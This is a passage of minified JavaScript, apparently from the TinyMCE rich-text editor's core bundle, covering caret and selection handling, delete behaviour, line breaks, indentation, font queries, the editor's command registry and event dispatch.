r=e.dom,o=e.selection;if(t)Wm(e,t,n);else if(!(t=Qu(e.getBody(),o.getStart())))for(;t=r.get(Vm);)Wm(e,t,!1)},Xm=function(e,t,n){var r=e.dom,o=r.getParent(n,d(wc.isTextBlock,e));o&&r.isEmpty(o)?n.parentNode.replaceChild(t,n):(tl(ar.fromDom(n)),r.isEmpty(n)?n.parentNode.replaceChild(t,n):r.insertAfter(t,n))},Ym=function(e,t){return e.appendChild(t),t},Gm=function(e,t){var n,r,o=(n=function(e,t){return Ym(e,t.cloneNode(!1))},r=t,function(e,t){for(var n=e.length-1;0<=n;n--)t(e[n],n)}(e,function(e){r=n(r,e)}),r);return Ym(o,o.ownerDocument.createTextNode(jm))},Jm=function(i){i.on("mouseup keydown",function(e){var t,n,r,o;t=i,n=e.keyCode,r=t.selection,o=t.getBody(),Km(t,null,!1),8!==n&&46!==n||!r.isCollapsed()||r.getStart().innerHTML!==jm||Km(t,Qu(o,r.getStart())),37!==n&&39!==n||Km(t,Qu(o,r.getStart()))})},Qm=function(e,t){return e.schema.getTextInlineElements().hasOwnProperty(lr(t))&&!Ju(t.dom())&&!jo.isBogus(t.dom())},Zm=function(e){return 1===Kr(e).length},eg=function(e,t,n,r){var o,i,a,u,s=d(Qm,t),c=W(U(r,s),function(e){return e.dom()});if(0===c.length)rd(t,e,n);else{var l=(o=n.dom(),i=c,a=$m(!1),u=Gm(i,a.dom()),Pi(ar.fromDom(o),a),Ui(ar.fromDom(o)),_u(u,0));t.selection.setRng(l.toRange())}},tg=function(r,o){var t,e=ar.fromDom(r.getBody()),n=ar.fromDom(r.selection.getStart()),i=U((t=uf(n,e),Y(t,Co).fold(q(t),function(e){return t.slice(0,e)})),Zm);return ee(i).map(function(e){var t,n=_u.fromRangeStart(r.selection.getRng());return!(!$l(o,n,e.dom())||Ju((t=e).dom())&&Hm(t.dom())||(eg(o,r,e,i),0))}).getOr(!1)},ng=function(e,t){return!!e.selection.isCollapsed()&&tg(e,t)},rg=function(e){for(var t=0,n=0,r=e;r&&r.nodeType;)t+=r.offsetLeft||0,n+=r.offsetTop||0,r=r.offsetParent;return{x:t,y:n}},og=function(e,t,n){var r,o,i,a,u,s=e.dom,c=s.getRoot(),l=0;if(u={elm:t,alignToTop:n},e.fire("scrollIntoView",u),!u.isDefaultPrevented()&&jo.isElement(t)){if(!1===n&&(l=t.offsetHeight),"BODY"!==c.nodeName){var f=e.selection.getScrollContainer();if(f)return r=rg(t).y-rg(f).y+l,a=f.clientHeight,void((r<(i=f.scrollTop)||i+a<r+25)&&(f.scrollTop=r<i?r:r-a+25))}o=s.getViewPort(e.getWin()),r=s.getPos(t).y+l,i=o.y,a=o.h,(r<o.y||i+a<r+25)&&e.getWin().scrollTo(0,r<i?r:r-a+25)}},ig=function(d,e){Z(Su.fromRangeStart(e).getClientRects()).each(function(e){var t,n,r,o,i,a,u,s,c,l=function(e){if(e.inline)return e.getBody().getBoundingClientRect();var t=e.getWin();return{left:0,right:t.innerWidth,top:0,bottom:t.innerHeight,width:t.innerWidth,height:t.innerHeight}}(d),f={x:(i=t=l,a=n=e,a.left>i.left&&a.right<i.right?0:a.left<i.left?a.left-i.left:a.right-i.right),y:(r=t,o=n,o.top>r.top&&o.bottom<r.bottom?0:o.top<r.top?o.top-r.top:o.bottom-r.bottom)};s=0!==f.x?0<f.x?f.x+4:f.x-4:0,c=0!==f.y?0<f.y?f.y+4:f.y-4:0,(u=d).inline?(u.getBody().scrollLeft+=s,u.getBody().scrollTop+=c):u.getWin().scrollBy(s,c)})},ag=jo.isContentEditableTrue,ug=jo.isContentEditableFalse,sg=function(e,t,n,r,o){return t._selectionOverrides.showCaret(e,n,r,o)},cg=function(e,t){var n,r;return e.fire("BeforeObjectSelected",{target:t}).isDefaultPrevented()?null:((r=(n=t).ownerDocument.createRange()).selectNode(n),r)},lg=function(e,t,n){var r=Os(1,e.getBody(),t),o=_u.fromRangeStart(r),i=o.getNode();if(ug(i))return sg(1,e,i,!o.isAtEnd(),!1);var a=o.getNode(!0);if(ug(a))return sg(1,e,a,!1,!1);var u=e.dom.getParent(o.getNode(),function(e){return ug(e)||ag(e)});return ug(u)?sg(1,e,u,!1,n):null},fg=function(e,t,n){if(!t||!t.collapsed)return t;var r=lg(e,t,n);return r||t},dg=function(e,t){e.selection.setRng(t),ig(e,e.selection.getRng())},mg=function(e,t,n,r,o,i){var a,u,s=sg(r,e,i.getNode(!o),o,!0);if(t.collapsed){var c=t.cloneRange();o?c.setEnd(s.startContainer,s.startOffset):c.setStart(s.endContainer,s.endOffset),c.deleteContents()}else t.deleteContents();return e.selection.setRng(s),a=e.dom,u=n,jo.isText(u)&&0===u.data.length&&a.remove(u),!0},gg=function(e,t){return function(e,t){var n=e.selection.getRng();if(!jo.isText(n.commonAncestorContainer))return!1;var r=t?Tu.Forwards:Tu.Backwards,o=Js(e.getBody()),i=d(Ls,o.next),a=d(Ls,o.prev),u=t?i:a,s=t?Lf:Ff,c=Ps(r,e.getBody(),n),l=Vl.normalizePosition(t,u(c));if(!l)return!1;if(s(l))return mg(e,n,c.getNode(),r,t,l);var f=u(l);return!!(f&&s(f)&&Fs(l,f))&&mg(e,n,c.getNode(),r,t,f)}(e,t)},pg=function(e,t){e.getDoc().execCommand(t,!1,null)},hg=function(e){ad(e,!1)||gg(e,!1)||Qd(e,!1)||hf(e,!1)||Dm(e)||Cf(e,!1)||ng(e,!1)||(pg(e,"Delete"),ql(e))},vg=function(e){ad(e,!0)||gg(e,!0)||Qd(e,!0)||hf(e,!0)||Dm(e)||Cf(e,!0)||ng(e,!0)||pg(e,"ForwardDelete")},yg=function(o,t,e){var n=function(e){return t=o,n=e.dom(),r=_r(n,t),_.from(r).filter(function(e){return 0<e.length});var t,n,r};return na(ar.fromDom(e),function(e){return n(e).isSome()},function(e){return Mr(ar.fromDom(t),e)}).bind(n)},bg=function(o){return function(r,e){return _.from(e).map(ar.fromDom).filter(dr).bind(function(e){return yg(o,r,e.dom()).or((t=o,n=e.dom(),_.from(Si.DOM.getStyle(n,t,!0))));var t,n}).getOr("")}},Cg={getFontSize:bg("font-size"),getFontFamily:H(function(e){return e.replace(/[\'\"\\]/g,"").replace(/,\s+/g,",")},bg("font-family")),toPt:function(e,t){return/[0-9.]+px$/.test(e)?(n=72*parseInt(e,10)/96,r=t||0,o=Math.pow(10,r),Math.round(n*o)/o+"pt"):e;var n,r,o}},xg=function(e){return sc.firstPositionIn(e.getBody()).map(function(e){var t=e.container();return jo.isText(t)?t.parentNode:t})},wg=function(o){return _.from(o.selection.getRng()).bind(function(e){var t,n,r=o.getBody();return n=r,(t=e).startContainer===n&&0===t.startOffset?_.none():_.from(o.selection.getStart(!0))})},Ng=function(e,t){if(/^[0-9\.]+$/.test(t)){var n=parseInt(t,10);if(1<=n&&n<=7){var r=Al(e),o=Rl(e);return o?o[n-1]||t:r[n-1]||t}return t}return t},Eg=function(e,t){return e&&t&&e.startContainer===t.startContainer&&e.startOffset===t.startOffset&&e.endContainer===t.endContainer&&e.endOffset===t.endOffset},Sg=function(e,t,n){return null!==function(e,t,n){for(;e&&e!==t;){if(n(e))return e;e=e.parentNode}return null}(e,t,n)},Tg=function(e,t,n){return Sg(e,t,function(e){return e.nodeName===n})},kg=function(e){return e&&"TABLE"===e.nodeName},_g=function(e,t,n){for(var r=new go(t,e.getParent(t.parentNode,e.isBlock)||e.getRoot());t=r[n?"prev":"next"]();)if(jo.isBr(t))return!0},Ag=function(e,t,n,r,o){var i,a,u,s,c,l,f=e.getRoot(),d=e.schema.getNonEmptyElements();if(u=e.getParent(o.parentNode,e.isBlock)||f,r&&jo.isBr(o)&&t&&e.isEmpty(u))return _.some(Su(o.parentNode,e.nodeIndex(o)));for(i=new go(o,u);s=i[r?"prev":"next"]();){if("false"===e.getContentEditableParent(s)||(l=f,ka(c=s)&&!1===Sg(c,l,Ju)))return _.none();if(jo.isText(s)&&0<s.nodeValue.length)return!1===Tg(s,f,"A")?_.some(Su(s,r?s.nodeValue.length:0)):_.none();if(e.isBlock(s)||d[s.nodeName.toLowerCase()])return _.none();a=s}return n&&a?_.some(Su(a,0)):_.none()},Rg=function(e,t,n,r){var o,i,a,u,s,c,l,f,d,m,g=e.getRoot(),p=!1;if(o=r[(n?"start":"end")+"Container"],i=r[(n?"start":"end")+"Offset"],l=jo.isElement(o)&&i===o.childNodes.length,s=e.schema.getNonEmptyElements(),c=n,ka(o))return _.none();if(jo.isElement(o)&&i>o.childNodes.length-1&&(c=!1),jo.isDocument(o)&&(o=g,i=0),o===g){if(c&&(u=o.childNodes[0<i?i-1:0])){if(ka(u))return _.none();if(s[u.nodeName]||kg(u))return _.none()}if(o.hasChildNodes()){if(i=Math.min(!c&&0<i?i-1:i,o.childNodes.length-1),o=o.childNodes[i],i=jo.isText(o)&&l?o.data.length:0,!t&&o===g.lastChild&&kg(o))return _.none();if(function(e,t){for(;t&&t!==e;){if(jo.isContentEditableFalse(t))return!0;t=t.parentNode}return!1}(g,o)||ka(o))return _.none();if(o.hasChildNodes()&&!1===kg(o)){a=new go(u=o,g);do{if(jo.isContentEditableFalse(u)||ka(u)){p=!1;break}if(jo.isText(u)&&0<u.nodeValue.length){i=c?0:u.nodeValue.length,o=u,p=!0;break}if(s[u.nodeName.toLowerCase()]&&(!(f=u)||!/^(TD|TH|CAPTION)$/.test(f.nodeName))){i=e.nodeIndex(u),o=u.parentNode,c||i++,p=!0;break}}while(u=c?a.next():a.prev())}}}return t&&(jo.isText(o)&&0===i&&Ag(e,l,t,!0,o).each(function(e){o=e.container(),i=e.offset(),p=!0}),jo.isElement(o)&&((u=o.childNodes[i])||(u=o.childNodes[i-1]),!u||!jo.isBr(u)||(m="A",(d=u).previousSibling&&d.previousSibling.nodeName===m)||_g(e,u,!1)||_g(e,u,!0)||Ag(e,l,t,!0,u).each(function(e){o=e.container(),i=e.offset(),p=!0}))),c&&!t&&jo.isText(o)&&i===o.nodeValue.length&&Ag(e,l,t,!1,o).each(function(e){o=e.container(),i=e.offset(),p=!0}),p?_.some(Su(o,i)):_.none()},Dg=function(e,t){var n=t.collapsed,r=t.cloneRange(),o=Su.fromRangeStart(t);return Rg(e,n,!0,r).each(function(e){n&&Su.isAbove(o,e)||r.setStart(e.container(),e.offset())}),n||Rg(e,n,!1,r).each(function(e){r.setEnd(e.container(),e.offset())}),n&&r.collapse(!0),Eg(t,r)?_.none():_.some(r)},Og=function(e,t,n){var r=e.create("span",{}," ");n.parentNode.insertBefore(r,n),t.scrollIntoView(r),e.remove(r)},Bg=function(e,t,n,r){var o=e.createRng();r?(o.setStartBefore(n),o.setEndBefore(n)):(o.setStartAfter(n),o.setEndAfter(n)),t.setRng(o)},Pg=function(e,t){var n,r,o=e.selection,i=e.dom,a=o.getRng();Dg(i,a).each(function(e){a.setStart(e.startContainer,e.startOffset),a.setEnd(e.endContainer,e.endOffset)});var u=a.startOffset,s=a.startContainer;if(1===s.nodeType&&s.hasChildNodes()){var c=u>s.childNodes.length-1;s=s.childNodes[Math.min(u,s.childNodes.length-1)]||s,u=c&&3===s.nodeType?s.nodeValue.length:0}var l=i.getParent(s,i.isBlock),f=l?i.getParent(l.parentNode,i.isBlock):null,d=f?f.nodeName.toUpperCase():"",m=t&&t.ctrlKey;"LI"!==d||m||(l=f),s&&3===s.nodeType&&u>=s.nodeValue.length&&(function(e,t,n){for(var r,o=new go(t,n),i=e.getNonEmptyElements();r=o.next();)if(i[r.nodeName.toLowerCase()]||0<r.length)return!0}(e.schema,s,l)||(n=i.create("br"),a.insertNode(n),a.setStartAfter(n),a.setEndAfter(n),r=!0)),n=i.create("br"),zu(i,a,n),Og(i,o,n),Bg(i,o,n,r),e.undoManager.add()},Ig=function(e,t){var n=ar.fromTag("br");Pi(ar.fromDom(t),n),e.undoManager.add()},Lg=function(e,t){Fg(e.getBody(),t)||Ii(ar.fromDom(t),ar.fromTag("br"));var n=ar.fromTag("br");Ii(ar.fromDom(t),n),Og(e.dom,e.selection,n.dom()),Bg(e.dom,e.selection,n.dom(),!1),e.undoManager.add()},Fg=function(e,t){return n=_u.after(t),!!jo.isBr(n.getNode())||sc.nextPosition(e,_u.after(t)).map(function(e){return jo.isBr(e.getNode())}).getOr(!1);var n},Mg=function(e){return e&&"A"===e.nodeName&&"href"in e},zg=function(e){return e.fold(q(!1),Mg,Mg,q(!1))},Ug=function(e,t){t.fold(o,d(Ig,e),d(Lg,e),o)},jg=function(e,t){var n,r,o,i=(n=e,r=d(Vl.isInlineTarget,n),o=_u.fromRangeStart(n.selection.getRng()),Ld(r,n.getBody(),o).filter(zg));i.isSome()?i.each(d(Ug,e)):Pg(e,t)},Vg={create:Ar("start","soffset","finish","foffset")},Hg=xf([{before:["element"]},{on:["element","offset"]},{after:["element"]}]),qg=(Hg.before,Hg.on,Hg.after,function(e){return e.fold($,$,$)}),$g=xf([{domRange:["rng"]},{relative:["startSitu","finishSitu"]},{exact:["start","soffset","finish","foffset"]}]),Wg={domRange:$g.domRange,relative:$g.relative,exact:$g.exact,exactFromRange:function(e){return $g.exact(e.start(),e.soffset(),e.finish(),e.foffset())},getWin:function(e){var t=e.match({domRange:function(e){return ar.fromDom(e.startContainer)},relative:function(e,t){return qg(e)},exact:function(e,t,n,r){return e}});return jr(t)},range:Vg.create},Kg=or.detect().browser,Xg=function(e,t){var n=mr(t)?Mc(t).length:Kr(t).length+1;return n<e?n:e<0?0:e},Yg=function(e){return Wg.range(e.start(),Xg(e.soffset(),e.start()),e.finish(),Xg(e.foffset(),e.finish()))},Gg=function(e,t){return!jo.isRestrictedNode(t.dom())&&(zr(e,t)||Mr(e,t))},Jg=function(t){return function(e){return Gg(t,e.start())&&Gg(t,e.finish())}},Qg=function(e){return!0===e.inline||Kg.isIE()},Zg=function(e){return Wg.range(ar.fromDom(e.startContainer),e.startOffset,ar.fromDom(e.endContainer),e.endOffset)},ep=function(e){var t=e.getSelection();return(t&&0!==t.rangeCount?_.from(t.getRangeAt(0)):_.none()).map(Zg)},tp=function(e){var t=jr(e);return ep(t.dom()).filter(Jg(e))},np=function(e,t){return _.from(t).filter(Jg(e)).map(Yg)},rp=function(e){var t=V.document.createRange();try{return t.setStart(e.start().dom(),e.soffset()),t.setEnd(e.finish().dom(),e.foffset()),_.some(t)}catch(n){return _.none()}},op=function(e){return(e.bookmark?e.bookmark:_.none()).bind(d(np,ar.fromDom(e.getBody()))).bind(rp)},ip=function(e){var t=Qg(e)?tp(ar.fromDom(e.getBody())):_.none();e.bookmark=t.isSome()?t:e.bookmark},ap=function(t){op(t).each(function(e){t.selection.setRng(e)})},up=op,sp=function(e){return Eo(e)||So(e)},cp=function(e){return U(W(e.selection.getSelectedBlocks(),ar.fromDom),function(e){return!sp(e)&&!Vr(e).map(sp).getOr(!1)})},lp=function(e,t){var n=e.settings,r=e.dom,o=e.selection,i=e.formatter,a=/[a-z%]+$/i.exec(n.indentation)[0],u=parseInt(n.indentation,10),s=e.getParam("indent_use_margin",!1);e.queryCommandState("InsertUnorderedList")||e.queryCommandState("InsertOrderedList")||n.forced_root_block||r.getParent(o.getNode(),r.isBlock)||i.apply("div"),z(cp(e),function(e){!function(e,t,n,r,o,i){if("false"!==e.getContentEditable(i)){var a=n?"margin":"padding";if(a="TABLE"===i.nodeName?"margin":a,a+="rtl"===e.getStyle(i,"direction",!0)?"Right":"Left","outdent"===t){var u=Math.max(0,parseInt(i.style[a]||0,10)-r);e.setStyle(i,a,u?u+o:"")}else u=parseInt(i.style[a]||0,10)+r+o,e.setStyle(i,a,u)}}(r,t,s,u,a,e.dom())})},fp=Xt.each,dp=Xt.extend,mp=Xt.map,gp=Xt.inArray;function pp(s){var o,i,a,t,c={state:{},exec:{},value:{}},n=s.settings;s.on("PreInit",function(){o=s.dom,i=s.selection,n=s.settings,a=s.formatter});var r=function(e){var t;if(!s.quirks.isHidden()&&!s.removed){if(e=e.toLowerCase(),t=c.state[e])return t(e);try{return s.getDoc().queryCommandState(e)}catch(n){}return!1}},e=function(e,n){n=n||"exec",fp(e,function(t,e){fp(e.toLowerCase().split(","),function(e){c[n][e]=t})})},u=function(e,t,n){e=e.toLowerCase(),c.value[e]=function(){return t.call(n||s)}};dp(this,{execCommand:function(t,n,r,e){var o,i,a=!1;if(!s.removed){if(/^(mceAddUndoLevel|mceEndUndoLevel|mceBeginUndoLevel|mceRepaint)$/.test(t)||e&&e.skip_focus?ap(s):s.focus(),(e=s.fire("BeforeExecCommand",{command:t,ui:n,value:r})).isDefaultPrevented())return!1;if(i=t.toLowerCase(),o=c.exec[i])return o(i,n,r),s.fire("ExecCommand",{command:t,ui:n,value:r}),!0;if(fp(s.plugins,function(e){if(e.execCommand&&e.execCommand(t,n,r))return s.fire("ExecCommand",{command:t,ui:n,value:r}),!(a=!0)}),a)return a;if(s.theme&&s.theme.execCommand&&s.theme.execCommand(t,n,r))return s.fire("ExecCommand",{command:t,ui:n,value:r}),!0;try{a=s.getDoc().execCommand(t,n,r)}catch(u){}return!!a&&(s.fire("ExecCommand",{command:t,ui:n,value:r}),!0)}},queryCommandState:r,queryCommandValue:function(e){var t;if(!s.quirks.isHidden()&&!s.removed){if(e=e.toLowerCase(),t=c.value[e])return t(e);try{return s.getDoc().queryCommandValue(e)}catch(n){}}},queryCommandSupported:function(e){if(e=e.toLowerCase(),c.exec[e])return!0;try{return s.getDoc().queryCommandSupported(e)}catch(t){}return!1},addCommands:e,addCommand:function(e,o,i){e=e.toLowerCase(),c.exec[e]=function(e,t,n,r){return o.call(i||s,t,n,r)}},addQueryStateHandler:function(e,t,n){e=e.toLowerCase(),c.state[e]=function(){return t.call(n||s)}},addQueryValueHandler:u,hasCustomCommand:function(e){return e=e.toLowerCase(),!!c.exec[e]}});var l=function(e,t,n){return t===undefined&&(t=!1),n===undefined&&(n=null),s.getDoc().execCommand(e,t,n)},f=function(e){return a.match(e)},d=function(e,t){a.toggle(e,t?{value:t}:undefined),s.nodeChanged()},m=function(e){t=i.getBookmark(e)},g=function(){i.moveToBookmark(t)};e({"mceResetDesignMode,mceBeginUndoLevel":function(){},"mceEndUndoLevel,mceAddUndoLevel":function(){s.undoManager.add()},"Cut,Copy,Paste":function(e){var t,n=s.getDoc();try{l(e)}catch(o){t=!0}if("paste"!==e||n.queryCommandEnabled(e)||(t=!0),t||!n.queryCommandSupported(e)){var r=s.translate("Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X/C/V keyboard shortcuts instead.");fe.mac&&(r=r.replace(/Ctrl\+/g,"\u2318+")),s.notificationManager.open({text:r,type:"error"})}},unlink:function(){if(i.isCollapsed()){var e=s.dom.getParent(s.selection.getStart(),"a");e&&s.dom.remove(e,!0)}else a.remove("link")},"JustifyLeft,JustifyCenter,JustifyRight,JustifyFull,JustifyNone":function(e){var t=e.substring(7);"full"===t&&(t="justify"),fp("left,center,right,justify".split(","),function(e){t!==e&&a.remove("align"+e)}),"none"!==t&&d("align"+t)},"InsertUnorderedList,InsertOrderedList":function(e){var t,n;l(e),(t=o.getParent(i.getNode(),"ol,ul"))&&(n=t.parentNode,/^(H[1-6]|P|ADDRESS|PRE)$/.test(n.nodeName)&&(m(),o.split(n,t),g()))},"Bold,Italic,Underline,Strikethrough,Superscript,Subscript":function(e){d(e)},"ForeColor,HiliteColor":function(e,t,n){d(e,n)},FontName:function(e,t,n){var r,o;o=n,(r=s).formatter.toggle("fontname",{value:Ng(r,o)}),r.nodeChanged()},FontSize:function(e,t,n){var r,o;o=n,(r=s).formatter.toggle("fontsize",{value:Ng(r,o)}),r.nodeChanged()},RemoveFormat:function(e){a.remove(e)},mceBlockQuote:function(){d("blockquote")},FormatBlock:function(e,t,n){return d(n||"p")},mceCleanup:function(){var e=i.getBookmark();s.setContent(s.getContent()),i.moveToBookmark(e)},mceRemoveNode:function(e,t,n){var r=n||i.getNode();r!==s.getBody()&&(m(),s.dom.remove(r,!0),g())},mceSelectNodeDepth:function(e,t,n){var r=0;o.getParent(i.getNode(),function(e){if(1===e.nodeType&&r++===n)return i.select(e),!1},s.getBody())},mceSelectNode:function(e,t,n){i.select(n)},mceInsertContent:function(e,t,n){ml(s,n)},mceInsertRawHTML:function(e,t,n){i.setContent("tiny_mce_marker");var r=s.getContent();s.setContent(r.replace(/tiny_mce_marker/g,function(){return n}))},mceToggleFormat:function(e,t,n){d(n)},mceSetContent:function(e,t,n){s.setContent(n)},"Indent,Outdent":function(e){lp(s,e)},mceRepaint:function(){},InsertHorizontalRule:function(){s.execCommand("mceInsertContent",!1,"<hr />")},mceToggleVisualAid:function(){s.hasVisual=!s.hasVisual,s.addVisual()},mceReplaceContent:function(e,t,n){s.execCommand("mceInsertContent",!1,n.replace(/\{\$selection\}/g,i.getContent({format:"text"})))},mceInsertLink:function(e,t,n){var r;"string"==typeof n&&(n={href:n}),r=o.getParent(i.getNode(),"a"),n.href=n.href.replace(" ","%20"),r&&n.href||a.remove("link"),n.href&&a.apply("link",n,r)},selectAll:function(){var e=o.getParent(i.getStart(),jo.isContentEditableTrue);if(e){var t=o.createRng();t.selectNodeContents(e),i.setRng(t)}},"delete":function(){hg(s)},forwardDelete:function(){vg(s)},mceNewDocument:function(){s.setContent("")},InsertLineBreak:function(e,t,n){return jg(s,n),!0}});var p=function(n){return function(){var e=i.isCollapsed()?[o.getParent(i.getNode(),o.isBlock)]:i.getSelectedBlocks(),t=mp(e,function(e){return!!a.matchNode(e,n)});return-1!==gp(t,!0)}};e({JustifyLeft:p("alignleft"),JustifyCenter:p("aligncenter"),JustifyRight:p("alignright"),JustifyFull:p("alignjustify"),"Bold,Italic,Underline,Strikethrough,Superscript,Subscript":function(e){return f(e)},mceBlockQuote:function(){return f("blockquote")},Outdent:function(){var e;if(n.inline_styles){if((e=o.getParent(i.getStart(),o.isBlock))&&0<parseInt(e.style.paddingLeft,10))return!0;if((e=o.getParent(i.getEnd(),o.isBlock))&&0<parseInt(e.style.paddingLeft,10))return!0}return r("InsertUnorderedList")||r("InsertOrderedList")||!n.inline_styles&&!!o.getParent(i.getNode(),"BLOCKQUOTE")},"InsertUnorderedList,InsertOrderedList":function(e){var t=o.getParent(i.getNode(),"ul,ol");return t&&("insertunorderedlist"===e&&"UL"===t.tagName||"insertorderedlist"===e&&"OL"===t.tagName)}},"state"),e({Undo:function(){s.undoManager.undo()},Redo:function(){s.undoManager.redo()}}),u("FontName",function(){return wg(t=s).fold(function(){return xg(t).map(function(e){return Cg.getFontFamily(t.getBody(),e)}).getOr("")},function(e){return Cg.getFontFamily(t.getBody(),e)});var t},this),u("FontSize",function(){return wg(t=s).fold(function(){return xg(t).map(function(e){return Cg.getFontSize(t.getBody(),e)}).getOr("")},function(e){return Cg.getFontSize(t.getBody(),e)});var t},this)}var hp=Xt.makeMap("focus blur focusin focusout click dblclick mousedown mouseup mousemove mouseover beforepaste paste cut copy selectionchange mouseout mouseenter mouseleave wheel keydown keypress keyup input contextmenu dragstart dragend dragover draggesture dragdrop drop drag submit compositionstart compositionend compositionupdate touchstart touchmove touchend"," "),vp=function(a){var u,s,c=this,l={},f=function(){return!1},d=function(){return!0};u=(a=a||{}).scope||c,s=a.toggleEvent||f;var r=function(e,t,n,r){var o,i,a;if(!1===t&&(t=f),t)for(t={func:t},r&&Xt.extend(t,r),a=(i=e.toLowerCase().split(" ")).length;a--;)e=i[a],(o=l[e])||(o=l[e]=[],s(e,!0)),n?o.unshift(t):o.push(t);return c},m=function(e,t){var n,r,o,i,a;if(e)for(n=(i=e.toLowerCase().split(" ")).length;n--;){if(e=i[n],r=l[e],!e){for(o in l)s(o,!1),delete l[o];return c}if(r){if(t)for(a=r.length;a--;)r[a].func===t&&(r=r.slice(0,a).concat(r.slice(a+1)),l[e]=r);else r.length=0;r.length||(s(e,!1),delete l[e])}}else{for(e in l)s(e,!1);l={}}return c};c.fire=function(e,t){var n,r,o,i;if(e=e.toLowerCase(),(t=t||{}).type=e,t.target||(t.target=u),t.preventDefault||(t.preventDefault=function(){t.isDefaultPrevented=d},t.stopPropagation=function(){t.isPropagationStopped=d},t.stopImmediatePropagation=function(){t.isImmediatePropagationStopped=d},t.isDefaultPrevented=f,t.isPropagationStopped=f,t.isImmediatePropagationStopped=f),a.beforeFire&&a.beforeFire(t),n=l[e])for(r=0,o=n.length;r<o;r++){if((i=n[r]).once&&m(e,i.func),t.isImmediatePropagationStopped())return t.stopPropagation(),t;if(!1===i.func.call(u,t))return t.preventDefault(),t}return t},c.on=r,c.off=m,c.once=function(e,t,n){return r(e,t,n,{once:!0})},c.has=function(e){return e=e.toLowerCase(),!(!l[e]||0===l[e].length)}};vp.isNative=function(e){return!!hp[e.toLowerCase()]};var yp,bp=function(n){return n._eventDispatcher||(n._eventDispatcher=new vp({scope:n,toggleEvent:function(e,t){vp.isNative(e)&&n.toggleNativeEvent&&n.toggleNativeEvent(e,t)}})),n._eventDispatcher},Cp={fire:function(e,t,n){if(this.removed&&"remove"!==e&&"detach"!==e)return t;if(t=bp(this).fire(e,t,n),!1!==n&&this.parent)for(var r=this.parent();r&&!t.isPropagationStopped();)r.fire(e,t,!1),r=r.parent();return t},on:function(e,t,n){return bp(this).on(e,t,n)},off:function(e,t){return bp(this).off(e,t)},once:function(e,t){return bp(this).once(e,t)},hasEventListeners:function(e){return bp(this).has(e)}},xp=function(e,t){return e.fire("PreProcess",t)},wp=function(e,t){return e.fire("PostProcess",t)},Np=function(e){return e.fire("remove")},Ep=function(e){return e.fire("detach")},Sp=function(e,t){return e.fire("SwitchMode",{mode:t})},Tp=function(e,t,n,r){e.fire("ObjectResizeStart",{target:t,width:n,height:r})},kp=function(e,t,n,r){e.fire("ObjectResized",{target:t,width:n,height:r})},_p=function(e,t,n){try{e.getDoc().execCommand(t,!1,n)}catch(r){}},Ap=function(e,t,n){var r,o;Gi(e,t)&&!1===n?(o=t,$i(r=e)?r.dom().classList.remove(o):Ki(r,o),Yi(r)):n&&Xi(e,t)},Rp=function(e,t){Ap(ar.fromDom(e.getBody()),"mce-content-readonly",t),t?(e.selection.controlSelection.hideResizeRect(),e.readonly=!0,e.getBody().contentEditable="false"):(e.readonly=!1,e.getBody().contentEditable="true",_p(e,"StyleWithCSS",!1),_p(e,"enableInlineTableEditing",!1),_p(e,"enableObjectResizing",!1),e.focus(),e.nodeChanged())},Dp=function(e){return e.readonly?"readonly":"design"},Op=Si.DOM,Bp=function(e,t){return"selectionchange"===t?e.getDoc():!e.inline&&/^mouse|touch|click|contextmenu|drop|dragover|dragend/.test(t)?e.getDoc().documentElement:e.settings.event_root?(e.eventRoot||(e.eventRoot=Op.select(e.settings.event_root)[0]),e.eventRoot):e.getBody()},Pp=function(e,t,n){var r;(r=e).hidden||r.readonly?!0===e.readonly&&n.preventDefault():e.fire(t,n)},Ip=function(i,a){var e,t;if(i.delegates||(i.delegates={}),!i.delegates[a]&&!i.removed)if(e=Bp(i,a),i.settings.event_root){if(yp||(yp={},i.editorManager.on("removeEditor",function(){var e;if(!i.editorManager.activeEditor&&yp){for(e in yp)i.dom.unbind(Bp(i,e));yp=null}})),yp[a])return;t=function(e){for(var t=e.target,n=i.editorManager.get(),r=n.length;r--;){var o=n[r].getBody();(o===t||Op.isChildOf(t,o))&&Pp(n[r],a,e)}},yp[a]=t,Op.bind(e,a,t)}else t=function(e){Pp(i,a,e)},Op.bind(e,a,t),i.delegates[a]=t},Lp={bindPendingEventDelegates:function(){var t=this;Xt.each(t._pendingNativeEvents,function(e){Ip(t,e)})},toggleNativeEvent:function(e,t){var n=this;"focus"!==e&&"blur"!==e&&(t?n.initialized?Ip(n,e):n._pendingNativeEvents?n._pendingNativeEvents.push(e):n._pendingNativeEvents=[e]:n.initialized&&(n.dom.unbind(Bp(n,e),e,n.delegates[e]),delete n.delegates[e]))},unbindAllNativeEvents:function(){var e,t=this,n=t.getBody(),r=t.dom;if(t.delegates){for(e in t.delegates)t.dom.unbind(Bp(t,e),e,t.delegates[e]);delete t.delegates}!t.inline&&n&&r&&(n.onload=null,r.unbind(t.getWin()),r.unbind(t.getDoc())),r&&(r.unbind(n),r.unbind(t.getContainer()))}},Fp=Lp=Xt.extend({},Cp,Lp),Mp=Ar("sections","settings"),zp=or.detect().deviceType.isTouch(),Up=["lists","autolink","autosave"],jp={theme:"mobile"},Vp=function(e){var t=k(e)?e.join(" "):e,n=W(S(t)?t.split(" "):[],Gn);return U(n,function(e){return 0<e.length})},Hp=function(e,t){return e.sections().hasOwnProperty(t)},qp=function(e,t,n,r){var o,i=Vp(n.forced_plugins),a=Vp(r.plugins),u=e&&Hp(t,"mobile")?U(a,d(F,Up)):a,s=(o=u,[].concat(Vp(i)).concat(Vp(o)));return Xt.extend(r,{plugins:s.join(" ")})},$p=function(e,t,n,r){var o,i,a,u,s,c,l,f,d,m,g,p,h=(o=["mobile"],i=yr(r,function(e,t){return F(o,t)}),Mp(i.t,i.f)),v=Xt.extend(t,n,h.settings(),(m=e,p=(g=h).settings().inline,m&&Hp(g,"mobile")&&!p?(c="mobile",l=jp,f=h.sections(),d=f.hasOwnProperty(c)?f[c]:{},Xt.extend({},l,d)):{}),{validate:!0,content_editable:h.settings().inline,external_plugins:(a=n,u=h.settings(),s=u.external_plugins?u.external_plugins:{},a&&a.external_plugins?Xt.extend({},a.external_plugins,s):s)});return qp(e,h,n,v)},Wp=function(e,t,n){return _.from(t.settings[n]).filter(e)},Kp=function(e,t,n,r){var o,i,a,u=t in e.settings?e.settings[t]:n;return"hash"===r?(a={},"string"==typeof(i=u)?z(0<i.indexOf("=")?i.split(/[;,](?![^=;,]*(?:[;,]|$))/):i.split(","),function(e){var 